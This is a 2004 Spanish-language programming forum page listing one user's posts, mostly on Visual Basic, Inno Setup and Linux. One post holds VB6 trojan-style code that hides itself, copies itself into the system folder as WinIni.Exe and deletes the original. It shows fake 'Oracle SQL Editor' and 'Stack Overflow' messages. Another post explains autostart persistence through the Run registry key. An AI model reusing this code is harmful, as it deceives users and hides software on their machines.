|
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
Mensajes - RadicalEd
Páginas: 1 ... 119 120 [121] 122 123
3001
« en: Miércoles 8 de Septiembre de 2004, 23:10 »
LISTO AMIGO VA ASI Private Sub Form_Load() On Error Resume Next Timer1.Interval='valor que queras' Image1.Left=0 Image1.Top=0 End Sub Private Sub Timer1_Timer() Dim x For x=0 To 'posicion que queras' Step 10 'LA VEOCIDAD A DAR Image1.Left=x Next x End Sub
LISTO LO MISMO CON EL TOP Y YA
3002
« en: Miércoles 8 de Septiembre de 2004, 20:41 »
DALE EL INTERVALO QUE QUERAS ENTRE MAS PEQUEÑO MAS RAPIDO SERA LA ANIMACION
3003
« en: Miércoles 8 de Septiembre de 2004, 18:55 »
PUEDES REPETIR LO ULTIMO COMO ASI?
3004
« en: Miércoles 8 de Septiembre de 2004, 17:55 »
MUY FACIL CON UN TIMER COLOCA LA IMAGE EN UNA ESQUINA Y DILE IMAGE1.LEFT=POSICION Y IMAGE1.TOP=POSICION ESO TE DARA UNA SENSACION DE ANIMACION
3006
« en: Martes 7 de Septiembre de 2004, 20:42 »
POR QUE NO TODOS LOS HACKERS DEL MUNDO SE UNEN PARA DERROCAR A MOCO$OFT DE SU DICTADURA Y NOS DEJAN A LINUX COMO FIEL GOBERNANTE, SI TANTO NOS GUSTA
3007
« en: Martes 7 de Septiembre de 2004, 20:20 »
OYE ME PARECE MUY BUENA TU IDEA POR QUE NO SE LA ANUNCIAS AL ADMINISTRADOR DEL FORO DE PRONTO NO SE HA PASADO POR AQUI YO DE TI SE LO COMENTARIA DIRECTAMENTE
3008
« en: Martes 7 de Septiembre de 2004, 19:38 »
NO DON MODEREIDOR EL PROBLEMA ES QUE NO ME SACA NINGUN ERROR SOLO NO ME HACE NADA; HACE HASTA LA COPIA DEL ARCHIVO Y LA CREACION DEL OCX PERO NO ME BORRA NINGUNO DE LOS 2 ARCHIVOS ESTOY HABLANDO DEL FRMTRO; TRATA DE COPIARLO Y HACERLO CON LOS 2 CODIGOS
3009
« en: Lunes 6 de Septiembre de 2004, 18:54 »
POS SERA LOS MISMOS VIRUS QUE ELLOS METEN POR QUE QUIEN MAS MANADA DE HI#@#$|TAS, MAL#@#$|OS ODIO MOCOSOFT PERO AHORA ES LO QUE DA PLATA EN CUANTO A PROGRAMACION, PERO AMO MI LINUX LASTIMA QUE NO LO TENGAN EN CUENTA
3010
« en: Lunes 6 de Septiembre de 2004, 18:48 »
EN ESA CARPETA ESTABA EL SETUP MUCHAS GRACIAS POR EL AVISO
3011
« en: Lunes 6 de Septiembre de 2004, 18:37 »
OYE MUCHAS GRACIAS POR TAN GRANDIOSO REGALO POR QUE NO TE PASA POR TODOS LOS FOROS ADVIRTIENDO POR QUE POR ACA ES DURO QUE PASE MUCHA GENTE. MUCHAS GRACIAS CUENTA NUEVA VIDA NUEVA
3012
« en: Sábado 4 de Septiembre de 2004, 19:42 »
BUENO SI HA LINUX NO LE HAN CHINGADO NI UN VIRUS QUE SE REPORTE POR NOTICIAS O ALGO POR QUE HI.....TA SEGUIMOS USANDO EL WINDOZE PERDON LA GROSERIA
3013
« en: Sábado 4 de Septiembre de 2004, 19:29 »
HOLA CHICOS DE SOLOCODIGO HE TRATADO DE PROGRAMAR CON GLADE PERO AL METER UN CONTROL BOTON ME APARECE DEL TAMAÑO DE LA FORMA Y NO PUEDO DISMINUIRLO NI PODER ENTRAR A ALGUNA VENTANA DE CODIGO COMO HAGO GRACIAS CHAO
3014
« en: Sábado 4 de Septiembre de 2004, 18:52 »
GUAU MENUDA FACHA QUE TE HECHAS QUIEN NO HAYA LEIDO ESTA DISCUSION DEBE ESTAR LOCO TE AGRADECERIA SI ME OBSEQUIARAS UNA CUENTA MI CORREO ES [email:29sjrfw1]vbmanny@eml.cc[/email:29sjrfw1] GRACIAS POR TAN MENUDO REGALO CHAO GRACIAS
3015
« en: Sábado 4 de Septiembre de 2004, 18:44 »
AYER ESTUVE REVISANDO UN EQUIPO CON WINXP QUE DECIAN QUE NO FUNCIONABA EL INTERNET LO REVISE Y LO CONFIGURE Y CUANDO ENTRE AL INTERNET ME REINICIO EL EQUIPO, PARECE UNA VARIANTE DEL SASSER CREO YO SOLO QUE ESTE REINICIA LA MAQUINA DE UNA SIN SACAR LA VENTANA DE TIEMPO PARA APAGAR SERA UN NUEVO VIRUSILLO VAYA TU A SABER LO UNICO QUE SE ES QUE HE ESTADO INVESTIGANDO Y NO ENCUENTRO NADA AL RESPECTO HA HAY INSTALADO EL ANTIVIRUS AVG 6.0 EN ESTA MAQUINA ASI QUE QUIEN SABE QUE SERA A LOS 2 MINUTOS COMO MAXIMO ME SACA SI ENCUENTRO ALGO LES HAGO SABER, SI ALGUIEN SABE HAGALO SABER GRACIAS CHAO
3016
« en: Viernes 3 de Septiembre de 2004, 22:09 »
POR FAVOR AYUDA CON ESTA PREGUNTA NECESITO ELIMINAR 2 OCX's QUE CREE DEL ADMINISTRADOR DE SOFTWARE INSTALADO
3017
« en: Jueves 2 de Septiembre de 2004, 23:51 »
OYE (COMO SI CON TEXTO SE PUDIERA), ANTES NO TE HAN QUITADO LA DISCUSION DE BUENAS HE; PERO PUEDES HACERLO CON MUCHOS PROGRAMAS GRAFICOS EL NERO TIENE UNA OPCION PARA CREAR LA PARTE UP DE LOS CD's, OTRO PUEDE SER EL COREL DRAW TE AYUDA HA HACER COSAS MAGNIFICAS, BUENO HAY MUCHOS PROGRAMAS CHAO
3018
« en: Jueves 2 de Septiembre de 2004, 23:44 »
HOLA CHICOS DE SOLOCODIGO TENGO UN PROBLEMA CON 2 CODIGOS IGUALITOS AQUI LES VA'form1 Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long Private Sub Form_Load() On Error Resume Next Dim z Me.Visible = False z = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio") If z <> 1 Then Call Create Else Call Killing End If End Sub Sub Create() On Error Resume Next Dim m CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani" SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZ WritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path & "\lalo.ocx" FileCopy App.Path + "\" + App.EXEName + ".exe", App.Path + "\mada.exe" m = Shell(App.Path + "\mada.exe", 0) AppActivate m Unload Me End Sub Sub Killing() On Error Resume Next Dim ret As String, NC As Long ret = String(255, 0) NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\lalo.ocx") If NC <> 0 Then ret = Left$(ret, NC) Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor") Kill (ret) Kill (App.Path & "\lalo.ocx") Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning") End If End Sub
'frmTro Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long Private Sub Form_Load() On Error Resume Next Dim z Me.Visible = False z = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio") If z <> 1 Then Call Create Else Call Killing End If App.TaskVisible = False 'Ocultar en la barra de tareas. End Sub Sub Create() On Error Resume Next Dim m Dim fso As Object Set fso = CreateObject("Scripting.FileSystemObject") CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani" SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZ WritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path + "\WinIni.ocx" FileCopy App.Path + "\" + App.EXEName + ".exe", fso.GetSpecialFolder(1) + "\WinIni.Exe" m = Shell(fso.GetSpecialFolder(1) + "\WinIni.Exe", 0) AppActivate m Unload Me End Sub Sub Killing() On Error Resume Next Dim ret As String, NC As Long ret = String(255, 0) NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\WinIni.ocx") If NC <> 0 Then ret = Left$(ret, NC) Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor") Kill (ret) Kill (App.Path & "\WinIni.ocx") Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning") End If End Sub
EL PROBLEMA ES QUE EL FORM1 ME FUNCIONA A LA PERFECCION PERO EL FRMTRO NO Y NO SE POR QUE SI SON EL MISMO CODIGO QUE PASA ESTOY TRATANDO DE HACER UNA APLICACION QUE SE AUTOCOPIE EN OTRO LADO DEL PC CUANDO ARRANQUE SE CIERRE Y EL SEGUNDO QUE SE ABRE ELIMINE EL PRIMER ARCHIVO QUE ESTA MAL AYUDENMEN GRACIAS CHAO
3019
« en: Jueves 2 de Septiembre de 2004, 23:39 »
SI ME MUESTRA LA OPCION DE COMPILARLO Y DE CORRERLO PERO LO QUE HACE ES EJECUTARLO CON EL INNO SETUP NO ME DEJA UN SETUP EJECUTABLE QUE PUEDA TRANSPORTAR A OTRAS MAQUINAS
3020
« en: Jueves 2 de Septiembre de 2004, 18:06 »
HOLA CHICOS DE SOLOCODIGO ESTOY APRENDIENDO A TRABAJAR CON EL INNO SETUP PARA MIS APLICACIONES EN VB EL PROBLEMA ES QUE NO SE COMO SACAR EL SETUP EJECUTABLE COMO LO HAGO? ADEMAS ANTERIORMENTE POSTIE UNA PREGUNTA DE COMO UTILIZAR MIS APLICACIONES SIN LAS MSVBVM*.DLL Y OCX QUE NECESITA VB PARA TRABAJAR Y ME DIERON ESTE PROGRAMA LO QUE HACE ES CREAR UN SETUP YO NECESITO ES QUE LAS APLICACIONES TRABAJEN DE UNA COMO EJECUTABLES SIN QUE ME PIDAN DICHOS ARCHIVOS Y CONECTARLOS UTILIZO UN PROGRAMA QUE SE LLAMA ALLOY PERO NO ME SIRVE POR QUE ES SHAREWARE Y ME ESTA MOLESTANDO Y NO ME DEJA CONCATENAR LOS ARCHIVOS AYUDENMEN CON ESTAS 2 PREGUNTITAS GRACIAS CHAO
3021
« en: Jueves 2 de Septiembre de 2004, 17:41 »
A VER EXPLICATE BIEN COMO ASI QUE DE FRENTE DEL WINDOZE QUIERES QUE TU PROGRAMA OBTENGA EL FOCO SOBRE CUALQUIER APLICACION OSEA SIEMPRE QUEDE AL FRENTE DE TODO O QUE HAGA QUE NO ENTIENDO LO DEL AUTORUN LO QUE TE PUSE ABAJO ES PARA QUE CUANDO INICIE WINDOZE TU APLICACION TAMBIEN INICIE JUNTO CON ESTE O SEA CUANDO APENAS ESTES ENTRANDO AL ESCRITORIO POR EJEMPLO QUE ACABAS DE PRENDER TU PC EL CHINGADO PROGRAMA SE INICIE COMO LO HACEN LOS ANTIVIRUS O OTRAS COSAS QUE INICIAN AL ARRANCAR WINDOZE
3022
« en: Martes 31 de Agosto de 2004, 04:06 »
EL ARCHIVO FOLDER.HTT ES DE WINDOZE EN SI NO ES UN PROGRAMA MALIGNO ES EL QUE TE MUESTRA TODA LA INFORMACION DE LOS ARCHIVOS QUE CLICKEAS CON SU TAMAÑO Y SU NOMBRE Y SI SON IMAGENES TE LAS MUESTRA, PERO ESTE EN ESPECIAL ES DETECTABLE POR LOS ANTIVIRUS YA QUE SE AUTOREPLICA JUNTO CON EL DESKTOP.INI CREANDOSE EN TODA CARPETA QUE TENGA LA OPCION DE WEB PAGE ACTIVADA, EN CUANTO AL THUMBS.DB DE WINXP POSTIE LA MISMA PREGUNTA QUE TU MARALA EN EL FORO DE VIRUS NO ES NINGUN ARCHIVO MALIGNO
3023
« en: Martes 31 de Agosto de 2004, 04:00 »
JUANK PODRIAS COMPARTIRLAS CON MUCHO GUSTO LAS PAGARIA ME PARECEN BUENOS PROGRAMAS CHAO P.D. SOY DE CALI
3024
« en: Sábado 28 de Agosto de 2004, 17:26 »
OLA CHICOS DE SOLOCODIGO CREE UN ARCHIVO OCX Y LO REGISTRE PERO DESPUES DE UN TIEMPO EL PROGRAMA QUE LO USABA ME DICE QUE NO LO TENGO REGISTRADO USE EL PROGRAMA Regsvr32.exe PARA REGISTRARLO PERO NI ASI Y ADEMAS ME QUEDO EN EL ADMINISTRADOR DE SOFTWARE INSTALADO Y YA NO LO PUEDO DESINSTALAR COMO HAGO? GRACIAS CHAO
3025
« en: Sábado 28 de Agosto de 2004, 17:19 »
A VER PUEDES PLASMARLA EN EL REGISTRO EN LA CLAVE HKCU\Software\Microsoft\Windows\CurrentVersion\Run o RunServices NombreClave REG_SZ "direccion\file.exe" SI LO QUIERES CUANDO SE EJECUTE EL ARCHIVO PUEDES HACERLO ASI sub Rege(key,val) Set WSHShell = CreateObject("WScript.Shell") WSHShell.Rege Key, Val End Sub Rege "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NombreClave", "direccion\file.exe" o RunServices O QUE WINDOWS USAS PARA QUE LA PONGAS EN EL WIN.INI EN EL LOAD O RUN TE PREGUNTO ESTO POR QUE EL XP NO HE VISTO LAS OPCIONES PUEDA QUE ME EQUIVOQUE POR FAVOR CORRIJANMEN
Páginas: 1 ... 119 120 [121] 122 123
|
|
|